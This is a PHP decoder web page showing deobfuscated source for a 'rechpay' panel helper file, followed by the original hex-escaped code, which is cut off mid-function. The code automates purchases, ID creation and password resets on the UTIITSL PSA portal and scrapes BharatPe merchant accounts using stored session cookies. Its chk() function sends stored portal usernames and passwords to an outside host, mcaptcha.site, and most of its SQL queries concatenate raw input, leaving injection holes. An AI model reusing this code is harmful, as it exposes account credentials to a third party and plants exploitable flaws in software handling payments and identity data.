Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php set_include_path(get_include_path() . PATH_SEPARATOR . "\x70\150\x70\x73\145\x63")..

Decoded Output download

<?php 
 set_include_path(get_include_path() . PATH_SEPARATOR . "phpsec"); require "vendor/autoload.php"; use GuzzleHttp\Client; use GuzzleHttp\Psr7\Request; goto rp6Nq; a_phr: function couponRequest($sub_psa_id, $token, $qty) { $result = array(); $sql = "SELECT * FROM `useraccount` WHERE token='" . $token . "' "; $userAccount = rechpay_fetch(rechpay_query($sql)); $userId = $userAccount["user_id"]; $query = "SELECT * FROM `psacredentials` WHERE user_id = '{$userId}'"; $data = rechpay_fetch(rechpay_query($query)); $jsession = $data["psa_session"]; $csrf = $data["psa_csrf"]; $username = $data["psa_username"]; $client = new Client(array("http_errors" => false)); $headers = array("Accept-Language" => "en-US,en;q=0.9", "Cookie" => "JSESSIONID=" . $jsession, "User-Agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.0.0 Safari/537.36", "Host" => "www.psaonline.utiitsl.com", "Origin" => "https://www.psaonline.utiitsl.com", "Referer" => "https://psaonline.utiitsl.com/psapanservices/forms/amtdistcon/directAmtDis", "Content-Type" => "application/x-www-form-urlencoded"); $txn_no = rand(100000000000, 999999999999); $postData = array("form_params" => array("psaId" => $sub_psa_id, "distAmount" => $qty * 107, "transNo" => $txn_no, "trRemark" => "OK", "_csrf" => $csrf)); $request = new Request("POST", "https://psaonline.utiitsl.com/psapanservices/forms/amtdistcon/directAmtDistibution", $headers); $res = $client->sendAsync($request, $postData)->wait(); $response = (string) $res->getBody(); $mismatch = strpos($response, "EntityUser mismatch."); $success = strpos($response, "Success"); $statusCode = $res->getStatusCode(); if ($statusCode == 405) { return chk($data["psa_username"], $data["psa_password"], $data["psa_id"]); } if ($mismatch > 0) { $result = array("status" => "failed", "message" => "Entity User Mismatch"); } else { if ($success > 0) { $result = array("status" => "success", "message" => "Coupon Purchase SuccessFull", "sub_psa" => $sub_psa_id, "Quantity" => $qty, "transNo" => $txn_no); } else { $result = array("status" => "failed", "message" => "Something Went Wrong Please Try After Sometime"); } } return json_encode($result); } goto ap9nY; L4wN6: function get_bharatpe_header() { return array("origin: https://enterprise.bharatpe.in", "referer: https://enterprise.bharatpe.in/", "user-agent: " . $_SERVER["HTTP_USER_AGENT"], "x-requested-with: XMLHttpRequest"); } goto P9cvy; A5Ng9: function get_bharatpe_balance($authorization) { $header = get_bharatpe_header(); $header[] = "cookie: bharatpe_session=" . $authorization["bharatpe_session"]; $header[] = "token: " . $authorization["accessToken"]; $response = curl_request("GET", "https://api-deposit.bharatpe.in/bharatpe-account/v1/account", array(), $header, true); $response = get_headers_from_curl_response($response); $body = json_decode($response["body"], true); $output = array("success" => false, "message" => "Merchant Server is Down", "balance_info" => array()); if ($body["success"] == true) { $output = array("success" => true, "message" => "Data Fetched\xa            successfully", "balance_info" => $body["data"]["balance_info"]); } if (!empty($body["message"])) { $output["message"] = $body["message"]; } return $output; } goto VRzPd; wBnXe: function bharatpe_live_transactions_url($accessToken) { $url = "https://bharatpe-account.bharatpe.in/#/transactions?visa={$accessToken}&src=OT"; return $url; } goto Wm0I6; So5Ex: function bharatpe_transfer_to_bank_url($accessToken) { $url = "https://bharatpe-account.bharatpe.in/#/transfer-to-bank?visa={$accessToken}&src=OT"; return $url; } goto KD8CT; rp6Nq: function send_sms($number, $message) { $smsapi_url = site_data()["smsapi_url"]; $message = urlencode($message); $find = array("{NUMBER}", "{MSG}"); $repls = array($number, $message); $url = StrReplace($smsapi_url, $find, $repls); $response = file_get_contents($url); return $response; } goto y3n6f; aFmA3: function get_bharatpe_van($authorization) { $header = get_bharatpe_header(); $header[] = "cookie: bharatpe_session=" . $authorization["bharatpe_session"]; $header[] = "token: " . $authorization["accessToken"]; $response = curl_request("GET", "https://api-deposit.bharatpe.in/bharatpe-account/v1/account", array(), $header, true); $response = get_headers_from_curl_response($response); $body = json_decode($response["body"], true); $output = array("success" => false, "message" => "Merchant Server is Down", "virtual_account" => array()); if ($body["success"] == true) { $output = array("success" => true, "message" => "Data Fetched\xa            successfully", "virtual_account" => $body["data"]["virtual_account"]); } if (!empty($body["message"])) { $output["message"] = $body["message"]; } return $output; } goto NNuZZ; FHq_D: function bharatpe_accounts($userAccount) { $sql = "SELECT * FROM `bharatpe` WHERE user_id='" . $userAccount["user_id"] . "' ORDER BY `bharatpe_id` DESC "; if ($userAccount["role"] == "Admin") { $sql = "SELECT * FROM `bharatpe` ORDER BY `bharatpe_id` DESC "; } return rechpay_fetch_all(rechpay_query($sql)); } goto bdxx9; ZkPaB: function get_bharatpe_verifyotp($mobile, $token, $otp, $authorization) { $postData = array("mobile" => $mobile, "uuid" => $token, "otp" => $otp, "_token" => $authorization["csrftoken"]); $header = get_bharatpe_header(); $header[] = "cookie: bharatpe_session=" . $authorization["bharatpe_session"]; $response = curl_request("POST", "https://enterprise.bharatpe.in/v1/api/user/verifyotp", $postData, $header, true); $response = get_headers_from_curl_response($response); $body = json_decode($response["body"], true); $output = array("success" => false, "message" => "Merchant Server is\xa            Down", "bharatpe_session" => null, "accessToken" => null); if ($body["success"] == true) { $output = array("success" => true, "message" => "OTP Verified
            Successfully", "bharatpe_session" => $response["cookies"]["bharatpe_session"], "accessToken" => $body["data"]["accessToken"]); } if (!empty($body["message"])) { $output["message"] = $body["message"]; } return $output; } goto wK6c3; KD8CT: function bharatpe_settlement_settings_url($accessToken) { $url = "https://bharatpe-account.bharatpe.in/#/settlement-settings?visa={$accessToken}&src=OT"; return $url; } goto wBnXe; vT6U4: function get_bharatpe_authorization() { $response = curl_request("GET", "https://enterprise.bharatpe.in/", array(), array(), true); $response = get_headers_from_curl_response($response); libxml_use_internal_errors(true); $dom = new DOMDocument(); $dom->validateOnParse = false; $dom->recover = true; $dom->formatOutput = false; $dom->loadHTML($response["body"]); libxml_clear_errors(); $xpath = new DOMXPath($dom); $col = $xpath->query("//input[@name="_token"]"); foreach ($col as $node) { $csrftoken = $node->getAttribute("value"); } return array("csrftoken" => $csrftoken, "bharatpe_session" => $response["cookies"]["bharatpe_session"]); } goto L4wN6; ap9nY: function psaCreateID($token, $vleId, $ownerName, $contactName, $addressLine1, $addressLine2, $location, $state, $pinCode, $emailId, $vleMobile, $vlePan) { $result = array(); $sql = "SELECT * FROM `useraccount` WHERE token='" . $token . "' "; $userAccount = rechpay_fetch(rechpay_query($sql)); $userId = $userAccount["user_id"]; $query = "SELECT * FROM `psacredentials` WHERE user_id = '{$userId}'"; $data = rechpay_fetch(rechpay_query($query)); $jsession = $data["psa_session"]; $csrf = $data["psa_csrf"]; $client = new Client(array("http_errors" => false)); $headers = array("Accept-Language" => "en-US,en;q=0.9", "Cookie" => "JSESSIONID=" . $jsession, "User-Agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.0.0 Safari/537.36", "Host" => "www.psaonline.utiitsl.com", "Origin" => "https://www.psaonline.utiitsl.com", "Referer" => "https://www.psaonline.utiitsl.com/psapanservices/forms/login.html/showAddUser", "Content-Type" => "application/x-www-form-urlencoded"); $options = array("form_params" => array("createUserType" => "1", "newVleId" => $vleId, "newUserId" => $vleId, "vleName" => $ownerName, "contactName" => $contactName, "addresssLine1" => $addressLine1, "addresssLine2" => $addressLine2, "addresssLine3" => '', "addresssLine4" => '', "location" => $location, "state" => $state, "vleDistrict" => "OTHER", "vlePin" => $pinCode, "emailId" => $emailId, "vleMobile" => $vleMobile, "phoneNo" => '', "vlePan" => $vlePan, "_csrf" => $csrf)); $request = new Request("POST", "https://www.psaonline.utiitsl.com/psapanservices/forms/login.html/addUser", $headers); $res = $client->sendAsync($request, $options)->wait(); $response = (string) $res->getBody(); $statusCode = $res->getStatusCode(); if ($statusCode == 405) { return chk($data["psa_username"], $data["psa_password"], $data["psa_id"]); } if (strpos($response, "errorMesg")) { $rpos = strpos($response, "errorMesg"); $spos = strpos($response, "successMesg"); $errorMesg = substr($response, $rpos, 39); $successMesg = substr($response, $spos, 180); if (strpos($errorMesg, "DUPLICATE") > 0) { $result = array("status" => "success", "psa_status" => "DUPLICATE", "psa_id" => $vleId, "message" => "PSA ID Already Exists"); } else { if (strpos($successMesg, "created") > 0) { $codepos = strpos($successMesg, "code"); $code = substr($successMesg, $codepos); $ccode = substr($code, 5, 6); $result = array("status" => "success", "psa_status" => "CREATED", "psa_id" => $vleId, "code" => $ccode, "message" => "PSA ID Created SuccessFully"); } else { $result = array("status" => "failed", "message" => "Invalid Parameters OR Special Characters Not Allowed"); } } } return json_encode($result); } goto AWi6E; MpJ8H: function get_bharatpe_qrcode_data($authorization) { $header = get_bharatpe_header(); $header[] = "token: " . $authorization["accessToken"]; $response = curl_request("GET", "https://payments-tesseract.bharatpe.in/api/v1/external/merchant/get-digital-qr-string?skipStoreTerminalMapping=true", array(), $header, true); $response = get_headers_from_curl_response($response); $body = json_decode($response["body"], true); $output = array("success" => false, "message" => "Merchant Server is Down", "qrcode" => null, "vpa" => null); if ($body["status"] == true) { $qrString = urlencode($body["data"]["qrString"]); $image = "https://chart.googleapis.com/chart?chs=200x200&cht=qr&chl={$qrString}&choe=UTF-8&chld=L|0"; parse_str(parse_url($body["data"]["qrString"], PHP_URL_QUERY), $qrdata); $output = array("success" => true, "message" => "Data Fetched
            successfully", "qrcode" => imgbase64($image), "qrdata" => $qrdata); } if (!empty($body["message"])) { $output["message"] = $body["message"]; } return $output; } goto aFmA3; y3n6f: function plan_data($plan_id) { return rechpay_fetch(rechpay_query("SELECT * FROM `plans` WHERE plan_id='" . $plan_id . "' ")); } goto XqJtM; u1E_Y: function today_transactions($userAccount) { $today = date("Y-m-d"); $sql = "SELECT * FROM `transaction` WHERE user_id='" . $userAccount["user_id"] . "' and date_time>='" . $today . " 00:00:00' and date_time<='" . $today . " 23:59:59' ORDER BY\xa        `txn_id` DESC "; if ($userAccount["role"] == " Admin") { $sql = "SELECT * FROM `transaction` WHERE date_time>='" . $today . " 00:00:00' and
        date_time<='" . $today . " 23:59:59' ORDER BY `txn_id` DESC "; } $result = rechpay_fetch_all(rechpay_query($sql)); $amount = 0; foreach ($result as $key => $value) { $amount += $value["amount"]; } return array(" amount" => round($amount, 2), "result" => $result); } goto Ji645; SWu6C: function bharatpe_authorization($bharatpe_id, $userAccount) { return rechpay_fetch(rechpay_query("SELECT * FROM `bharatpe` WHERE user_id='" . $userAccount["user_id"] . "' and
            bharatpe_id='" . $bharatpe_id . "' ")); } goto So5Ex; AWi6E: function chk($username, $password, $id) { $postData = array("username" => $username, "password" => $password); $response = json_decode(curl_request("POST", "https://mcaptcha.site/tmp/autologin.php", $postData), true); if ($response["status"] == "SUCCESS") { $session = $response["Session"]; $csrf = $response["Csrf"]; rechpay_query("UPDATE psacredentials SET status = 'Active', psa_session = '{$session}', psa_csrf = '{$csrf}' WHERE psa_id = '{$id}'"); return json_encode(array("status" => "SUCCESS", "message" => "Session Updated", "PsaBalance" => $response["PsaBalance"])); } else { rechpay_query("UPDATE psacredentials SET status = 'InActive', psa_session = '', psa_csrf = '' WHERE psa_id = '{$id}'"); } } goto H19OK; wK6c3: function get_bharatpe_business($authorization) { $header = get_bharatpe_header(); $header[] = "cookie: bharatpe_session=" . $authorization["bharatpe_session"]; $response = curl_request("GET", "https://enterprise.bharatpe.in/v1/api/brandMerchants", array(), $header, true); $response = get_headers_from_curl_response($response); $body = json_decode($response["body"], true); $output = array("success" => false, "message" => "Merchant Server is Down", "data" => array()); if ($body["success"] == true) { $output = array("success" => true, "message" => "Data Fetched successfully", "data" => $body["data"]); } if (!empty($body["message"])) { $output["message"] = $body["message"]; } return $output; } goto A5Ng9; bdxx9: function psa_accounts($userAccount) { $sql = "SELECT * FROM `psacredentials` WHERE user_id='" . $userAccount["user_id"] . "' ORDER BY `psa_id` DESC "; if ($userAccount["role"] == "Admin") { $sql = "SELECT * FROM `psacredentials` ORDER BY `psa_id` DESC "; } return rechpay_fetch_all(rechpay_query($sql)); } goto vT6U4; P9cvy: function get_bharatpe_otp($mobile, $authorization) { $postData = array("mobile" => $mobile, "_token" => $authorization["csrftoken"]); $header = get_bharatpe_header(); $header[] = "cookie: bharatpe_session=" . $authorization["bharatpe_session"]; $response = curl_request("POST", "https://enterprise.bharatpe.in/v1/api/user/requestotp", $postData, $header, true); $response = get_headers_from_curl_response($response); $response = json_decode($response["body"], true); $output = array("success" => false, "message" => "Merchant Server is Down", "token" => null); if ($response["success"] == true) { $output = array("success" => true, "message" => "OTP Sent Successfully", "token" => $response["data"]["uuid"]); } if (!empty($response["message"])) { $output["message"] = $response["message"]; } return $output; } goto ZkPaB; d0HvJ: function get_bharatpe_qrcode($authorization) { $bharatpe_business = get_bharatpe_business($authorization); $merchantId = $bharatpe_business["data"][0]["id"]; $header = get_bharatpe_header(); $header[] = "cookie: bharatpe_session=" . $authorization["bharatpe_session"]; $header[] = "token: " . $authorization["accessToken"]; $response = curl_request("GET", "https://payments-tesseract.bharatpe.in/api/merchant/v1/downloadQr?merchantId={$merchantId}", array(), $header, true); $response = get_headers_from_curl_response($response); $body = json_decode($response["body"], true); $output = array("success" => false, "message" => "Merchant Server is Down", "qrcode" => null); if ($body["status"] == true && $body["data"]["qrStatus"] == true) { $output = array("success" => true, "message" => "Data Fetched successfully", "qrcode" => $body["data"]["url"]); } if (!empty($body["message"])) { $output["message"] = $body["message"]; } return $output; } goto MpJ8H; VRzPd: function get_bharatpe_utrverify($authorization, $utr_number) { $header = get_bharatpe_header(); $header[] = "cookie: bharatpe_session=" . $authorization["bharatpe_session"]; $response = curl_request("GET", "https://enterprise.bharatpe.in/v1/api/transaction/recon?utr={$utr_number}", array(), $header, true); $response = get_headers_from_curl_response($response); $body = json_decode($response["body"], true); $results = array(); $output = array("success" => false, "message" => "Merchant Server is Down", "results" => $results); if ($body["success"] == true) { $results["txn_id"] = $body["data"]["txn_id"]; $results["vpa"] = strtoupper($body["data"]["vpa"]); $results["txn_date"] = $body["data"]["txn_date"]; $results["amount"] = $body["data"]["amount"]; $results["received_from"] = strtoupper($body["data"]["received_from"]); $results["utr"] = $body["data"]["utr"]; $results["status"] = $body["data"]["status"]; $output = array("success" => true, "message" => "Data Fetched successfully", "results" => $results); } if (!empty($body["message"])) { $output["message"] = $body["message"]; } return $output; } goto d0HvJ; Wm0I6: function all_user_account() { return rechpay_fetch_all(rechpay_query("SELECT * FROM `useraccount` ORDER BY `user_id` ASC ")); } goto RfNew; RfNew: function psaReset($sub_psa_id, $token) { $result = array(); $sql = "SELECT * FROM `useraccount` WHERE token='" . $token . "' "; $userAccount = rechpay_fetch(rechpay_query($sql)); $userId = $userAccount["user_id"]; $query = "SELECT * FROM `psacredentials` WHERE user_id = '{$userId}'"; $data = rechpay_fetch(rechpay_query($query)); $jsession = $data["psa_session"]; $csrf = $data["psa_csrf"]; $password = base64_encode($data["psa_password"]); $client = new Client(array("http_errors" => false)); $headers = array("Accept-Language" => "en-US,en;q=0.9", "Cookie" => "JSESSIONID=" . $jsession, "User-Agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.0.0 Safari/537.36", "Host" => "www.psaonline.utiitsl.com", "Origin" => "https://www.psaonline.utiitsl.com", "Referer" => "https://www.psaonline.utiitsl.com/psapanservices/forms/login.html/resetUserPassword", "Content-Type" => "application/x-www-form-urlencoded"); $options = array("form_params" => array("userId" => $sub_psa_id, "userPassword" => $password, "_csrf" => $csrf)); $request = new Request("POST", "https://www.psaonline.utiitsl.com/psapanservices/forms/login.html/resetUserPassword", $headers); $res = $client->sendAsync($request, $options)->wait(); $response = (string) $res->getBody(); $statusCode = $res->getStatusCode(); if ($statusCode == "405") { return chk($data["psa_username"], $data["psa_password"], $data["psa_id"]); } else { if (strpos($response, "errorMesg")) { $rpos = strpos($response, "errorMesg"); $spos = strpos($response, "successMesg"); $errorMesg = substr($response, $rpos, 100); $successMesg = substr($response, $spos, 100); if (strpos($errorMesg, "Error in updation") > 0) { $result = array("status" => "failed", "message" => "Server Down Or Invalid PSA"); } else { if (strpos($successMesg, "password reset successfully")) { $result = array("status" => "success", "message" => "Password Reset Successfully"); } else { $result = array("status" => "failed", "message" => "Something Went Wrong Please Try After Sometime"); } } } } return json_encode($result); } goto a_phr; XqJtM: function user_plan_data($user_id) { $result = rechpay_fetch(rechpay_query("SELECT * , useraccount.status as user_status, useraccount.is_expire as
user_is_expire, plans.status as plans_status FROM useraccount, plans WHERE useraccount.plan_id = plans.plan_id and\xauseraccount.user_id='" . $user_id . "' ")); if (count($result) > 0) { $expire = $result["expire_date"]; $start = time(); $end = strtotime($expire); $result["expire_days"] = ceil(abs($end - $start) / 86400); $expire_time = strtotime("+1 days", strtotime($expire)); if ($result["plan_type"] == "1 Year" && $expire_time < strtotime("+1 month")) { $result["is_expire"] = "Alert"; } if ($result["plan_type"] == "1 Month" && $expire_time < strtotime("+10 days")) { $result["is_expire"] = "Alert"; } if ($expire_time < time()) { $result["is_expire"] = "Yes"; $result["expire_days"] = 0; $result["name"] = "Plan Expired"; $result["limit"] = "No Active Plan"; } if (in_array($result["is_expire"], array("Alert", "Yes"))) { rechpay_query("UPDATE\xa    `useraccount` SET is_expire='" . $result[" is_expire"] . "' WHERE user_id='" . $result[" user_id"] . "' "); } } if (empty(count($result))) { $result["name"] = " No Active Plan"; $result["limit"] = "No Active Plan"; } return $result; } goto u1E_Y; NNuZZ: function all_plan_data() { return rechpay_fetch_all(rechpay_query("SELECT * FROM `plans` WHERE status='Active' ORDER BY `amount` ASC\xa            ")); } goto PxI73; Ji645: function monthly_transactions($userAccount) { $from_date = date("Y-m-") . "01"; $today = date("Y-m-d"); $sql = "SELECT * FROM `transaction` WHERE user_id='" . $userAccount["user_id"] . "' and date_time>='" . $from_date . "\xa        00:00:00' and date_time<='" . $today . " 23:59:59' ORDER BY `txn_id` DESC "; if ($userAccount["role"] == " Admin") { $sql = "SELECT * FROM `transaction` WHERE date_time>='" . $from_date . " 00:00:00' and\xa            date_time<='" . $today . " 23:59:59' ORDER BY `txn_id` DESC "; } $result = rechpay_fetch_all(rechpay_query($sql)); $amount = 0; foreach ($result as $key => $value) { $amount += $value["amount"]; } return array(" amount" => round($amount, 2), "result" => $result); } goto FHq_D; PxI73: function all_plans() { return rechpay_fetch_all(rechpay_query("SELECT * FROM `plans` ORDER BY `plan_id` DESC ")); } goto SWu6C; H19OK: ?>

Did this file decode correctly?

Original Code

<?php
 set_include_path(get_include_path() . PATH_SEPARATOR . "\x70\150\x70\x73\145\x63"); require "\166\145\156\x64\157\162\57\x61\165\x74\157\x6c\x6f\x61\144\56\x70\150\x70"; use GuzzleHttp\Client; use GuzzleHttp\Psr7\Request; goto rp6Nq; a_phr: function couponRequest($sub_psa_id, $token, $qty) { $result = array(); $sql = "\123\105\114\x45\x43\x54\40\52\40\106\122\x4f\x4d\x20\140\165\x73\145\x72\x61\x63\x63\x6f\165\156\x74\x60\40\x57\110\105\122\105\40\x74\157\x6b\x65\x6e\x3d\47" . $token . "\47\40"; $userAccount = rechpay_fetch(rechpay_query($sql)); $userId = $userAccount["\x75\163\145\162\137\x69\x64"]; $query = "\123\x45\x4c\x45\103\124\40\x2a\40\106\122\x4f\x4d\40\140\160\163\x61\143\162\145\x64\x65\156\164\151\x61\154\x73\140\x20\x57\110\x45\122\x45\40\x75\163\x65\162\137\x69\x64\40\75\x20\47{$userId}\x27"; $data = rechpay_fetch(rechpay_query($query)); $jsession = $data["\160\163\x61\137\x73\x65\x73\163\x69\157\156"]; $csrf = $data["\x70\x73\x61\x5f\x63\x73\x72\146"]; $username = $data["\160\x73\141\137\x75\x73\145\x72\x6e\141\x6d\145"]; $client = new Client(array("\150\x74\164\x70\137\x65\162\162\x6f\x72\x73" => false)); $headers = array("\101\x63\x63\x65\x70\164\55\114\x61\x6e\x67\x75\141\x67\x65" => "\145\x6e\x2d\125\x53\x2c\x65\156\x3b\x71\x3d\60\56\x39", "\x43\x6f\x6f\x6b\151\145" => "\112\123\x45\x53\x53\x49\117\x4e\111\104\x3d" . $jsession, "\125\163\145\162\55\101\x67\145\156\164" => "\x4d\157\x7a\x69\x6c\154\141\x2f\65\x2e\60\x20\50\x57\x69\x6e\144\157\167\163\x20\x4e\x54\x20\61\60\x2e\x30\73\40\127\x69\156\66\64\73\40\170\x36\64\51\x20\x41\160\160\x6c\x65\127\145\142\113\x69\164\57\x35\63\x37\x2e\63\x36\x20\50\x4b\x48\x54\115\x4c\x2c\40\x6c\151\x6b\145\40\x47\x65\143\153\157\51\40\x43\x68\x72\x6f\155\145\57\x31\x31\61\x2e\60\x2e\x30\56\x30\x20\x53\x61\x66\141\162\151\57\65\63\x37\56\63\x36", "\x48\157\x73\x74" => "\167\167\x77\56\x70\163\141\157\x6e\154\151\156\x65\56\x75\x74\151\x69\164\163\x6c\x2e\143\x6f\x6d", "\x4f\x72\x69\x67\x69\156" => "\150\x74\164\160\163\72\57\x2f\x77\167\x77\56\160\x73\x61\157\x6e\x6c\151\156\x65\x2e\x75\164\x69\x69\x74\163\x6c\x2e\143\x6f\155", "\122\145\146\145\162\x65\162" => "\150\x74\x74\x70\x73\x3a\57\x2f\160\163\x61\157\x6e\154\151\156\145\x2e\165\x74\x69\x69\x74\x73\154\56\x63\157\155\x2f\x70\x73\141\160\141\x6e\163\145\x72\x76\151\143\x65\163\57\x66\157\162\155\x73\57\x61\x6d\x74\x64\x69\x73\x74\x63\157\x6e\57\144\151\162\x65\x63\x74\x41\155\164\104\x69\163", "\103\157\156\164\145\x6e\x74\x2d\x54\171\x70\x65" => "\141\160\x70\154\151\x63\141\164\151\157\x6e\57\x78\x2d\x77\x77\167\x2d\146\157\x72\155\x2d\165\162\x6c\x65\x6e\143\x6f\144\145\144"); $txn_no = rand(100000000000, 999999999999); $postData = array("\x66\157\x72\x6d\137\x70\x61\162\141\155\x73" => array("\x70\x73\141\111\x64" => $sub_psa_id, "\x64\x69\x73\164\101\155\x6f\165\x6e\164" => $qty * 107, "\x74\x72\141\x6e\x73\116\x6f" => $txn_no, "\164\162\122\145\x6d\x61\162\x6b" => "\117\113", "\137\143\x73\162\146" => $csrf)); $request = new Request("\x50\x4f\x53\x54", "\150\x74\x74\x70\x73\72\x2f\x2f\x70\163\141\157\x6e\154\151\156\145\x2e\x75\164\151\x69\x74\163\x6c\x2e\143\x6f\155\x2f\160\163\141\x70\141\156\x73\x65\162\166\x69\x63\145\x73\x2f\x66\x6f\x72\155\x73\57\x61\155\x74\x64\151\163\x74\x63\157\156\57\x64\x69\x72\x65\x63\x74\x41\x6d\164\x44\x69\x73\x74\151\142\x75\164\x69\157\x6e", $headers); $res = $client->sendAsync($request, $postData)->wait(); $response = (string) $res->getBody(); $mismatch = strpos($response, "\x45\x6e\164\x69\x74\x79\x55\x73\145\x72\40\155\x69\163\x6d\x61\x74\143\x68\56"); $success = strpos($response, "\x53\x75\143\x63\145\163\163"); $statusCode = $res->getStatusCode(); if ($statusCode == 405) { return chk($data["\160\x73\141\137\165\x73\145\162\x6e\x61\155\145"], $data["\x70\x73\x61\137\x70\x61\163\x73\167\157\162\144"], $data["\160\x73\x61\x5f\x69\144"]); } if ($mismatch > 0) { $result = array("\163\x74\141\x74\x75\163" => "\146\x61\x69\154\145\144", "\x6d\x65\163\163\141\147\x65" => "\105\156\x74\151\x74\171\x20\125\163\145\162\x20\x4d\151\x73\x6d\x61\164\x63\150"); } else { if ($success > 0) { $result = array("\x73\164\x61\x74\x75\163" => "\163\x75\x63\x63\x65\163\x73", "\155\x65\163\163\141\x67\145" => "\x43\x6f\165\x70\x6f\156\40\120\165\x72\x63\150\x61\163\x65\x20\123\x75\x63\x63\x65\163\163\x46\x75\154\x6c", "\x73\165\142\x5f\x70\163\x61" => $sub_psa_id, "\121\165\x61\156\x74\151\x74\171" => $qty, "\x74\162\x61\x6e\163\116\157" => $txn_no); } else { $result = array("\x73\x74\141\x74\165\x73" => "\x66\141\x69\154\145\144", "\x6d\145\163\163\x61\147\x65" => "\x53\157\155\x65\x74\150\151\156\x67\x20\x57\145\156\164\x20\127\162\157\156\x67\40\x50\154\145\141\x73\145\x20\x54\162\x79\40\x41\x66\164\x65\162\40\x53\x6f\x6d\x65\164\x69\x6d\x65"); } } return json_encode($result); } goto ap9nY; L4wN6: function get_bharatpe_header() { return array("\157\162\x69\x67\x69\156\x3a\40\x68\164\164\x70\x73\x3a\x2f\57\x65\x6e\164\145\162\x70\x72\x69\163\x65\x2e\x62\x68\141\162\141\164\x70\145\x2e\x69\156", "\x72\x65\146\x65\162\x65\162\72\40\x68\x74\x74\160\x73\72\57\x2f\x65\156\164\x65\x72\x70\x72\151\x73\145\x2e\x62\150\141\162\141\164\x70\145\56\x69\x6e\57", "\165\163\x65\x72\x2d\x61\x67\145\x6e\x74\x3a\x20" . $_SERVER["\110\124\124\x50\x5f\125\123\x45\x52\137\101\x47\105\x4e\x54"], "\170\55\x72\x65\161\165\x65\x73\164\145\144\x2d\x77\x69\x74\150\72\x20\130\115\114\x48\x74\164\160\x52\145\x71\x75\145\x73\x74"); } goto P9cvy; A5Ng9: function get_bharatpe_balance($authorization) { $header = get_bharatpe_header(); $header[] = "\x63\157\157\153\x69\x65\72\40\x62\150\141\162\141\164\160\x65\137\163\145\163\163\151\157\x6e\75" . $authorization["\142\150\141\x72\141\164\x70\x65\137\163\145\x73\x73\x69\157\156"]; $header[] = "\164\157\153\x65\156\72\x20" . $authorization["\x61\x63\x63\x65\x73\163\124\x6f\x6b\x65\156"]; $response = curl_request("\107\x45\x54", "\x68\164\x74\x70\163\72\x2f\x2f\x61\x70\x69\x2d\144\145\x70\x6f\x73\151\x74\x2e\x62\x68\x61\162\x61\x74\x70\x65\x2e\x69\x6e\x2f\x62\x68\x61\x72\141\164\160\145\x2d\141\x63\143\x6f\x75\x6e\164\57\166\x31\x2f\x61\143\x63\x6f\x75\156\x74", array(), $header, true); $response = get_headers_from_curl_response($response); $body = json_decode($response["\x62\x6f\144\x79"], true); $output = array("\163\x75\143\x63\145\x73\x73" => false, "\155\145\x73\x73\x61\x67\145" => "\115\145\162\143\x68\x61\156\x74\x20\x53\145\162\x76\x65\162\40\x69\x73\x20\104\157\167\156", "\142\x61\x6c\x61\156\143\145\x5f\151\x6e\146\x6f" => array()); if ($body["\163\165\x63\x63\145\x73\163"] == true) { $output = array("\163\165\143\x63\x65\x73\163" => true, "\155\x65\163\x73\x61\147\x65" => "\104\141\164\141\x20\106\x65\x74\x63\x68\145\144\xa\x20\x20\x20\x20\40\40\40\40\x20\x20\x20\40\x73\x75\x63\x63\x65\x73\163\x66\165\x6c\154\x79", "\142\141\154\x61\x6e\143\x65\x5f\x69\156\x66\157" => $body["\144\141\164\x61"]["\x62\141\x6c\x61\156\143\x65\137\151\156\146\157"]); } if (!empty($body["\x6d\x65\163\163\x61\147\145"])) { $output["\x6d\x65\x73\163\x61\x67\145"] = $body["\155\145\x73\x73\x61\147\x65"]; } return $output; } goto VRzPd; wBnXe: function bharatpe_live_transactions_url($accessToken) { $url = "\150\164\x74\x70\x73\x3a\57\57\x62\x68\x61\x72\x61\x74\160\145\55\x61\143\x63\157\165\x6e\164\56\x62\x68\x61\x72\141\x74\160\145\x2e\x69\156\57\x23\57\x74\162\x61\x6e\x73\x61\x63\x74\151\157\x6e\x73\x3f\x76\151\x73\141\75{$accessToken}\46\x73\x72\x63\75\117\124"; return $url; } goto Wm0I6; So5Ex: function bharatpe_transfer_to_bank_url($accessToken) { $url = "\150\164\x74\160\x73\x3a\x2f\x2f\142\150\141\x72\141\x74\x70\145\55\x61\143\143\157\x75\x6e\x74\56\x62\150\141\162\141\164\x70\145\56\x69\156\57\x23\57\x74\x72\141\x6e\163\146\145\x72\55\x74\x6f\55\142\x61\156\153\x3f\x76\x69\x73\141\75{$accessToken}\x26\x73\162\x63\x3d\x4f\124"; return $url; } goto KD8CT; rp6Nq: function send_sms($number, $message) { $smsapi_url = site_data()["\163\155\163\141\x70\x69\137\165\x72\x6c"]; $message = urlencode($message); $find = array("\x7b\x4e\125\x4d\x42\105\x52\175", "\x7b\x4d\x53\107\175"); $repls = array($number, $message); $url = StrReplace($smsapi_url, $find, $repls); $response = file_get_contents($url); return $response; } goto y3n6f; aFmA3: function get_bharatpe_van($authorization) { $header = get_bharatpe_header(); $header[] = "\143\x6f\157\153\151\x65\72\40\142\x68\141\162\x61\x74\x70\x65\x5f\x73\145\x73\163\151\157\x6e\x3d" . $authorization["\x62\x68\141\162\141\x74\160\145\x5f\x73\x65\x73\x73\x69\x6f\156"]; $header[] = "\x74\157\153\145\156\x3a\40" . $authorization["\x61\x63\x63\x65\163\163\x54\x6f\x6b\x65\x6e"]; $response = curl_request("\x47\x45\x54", "\x68\x74\164\160\163\72\x2f\57\x61\x70\x69\x2d\144\x65\160\157\x73\x69\x74\x2e\x62\x68\x61\162\141\164\160\x65\56\x69\156\x2f\142\150\141\162\x61\164\160\145\55\x61\x63\x63\x6f\165\156\164\x2f\x76\x31\57\x61\x63\143\157\165\x6e\x74", array(), $header, true); $response = get_headers_from_curl_response($response); $body = json_decode($response["\142\157\144\171"], true); $output = array("\163\x75\x63\143\x65\163\163" => false, "\x6d\x65\x73\x73\141\147\x65" => "\x4d\x65\x72\143\x68\141\x6e\164\40\123\145\x72\x76\x65\162\40\151\163\x20\x44\157\x77\x6e", "\x76\x69\162\164\x75\141\x6c\137\141\143\143\x6f\165\x6e\164" => array()); if ($body["\163\x75\143\143\145\163\x73"] == true) { $output = 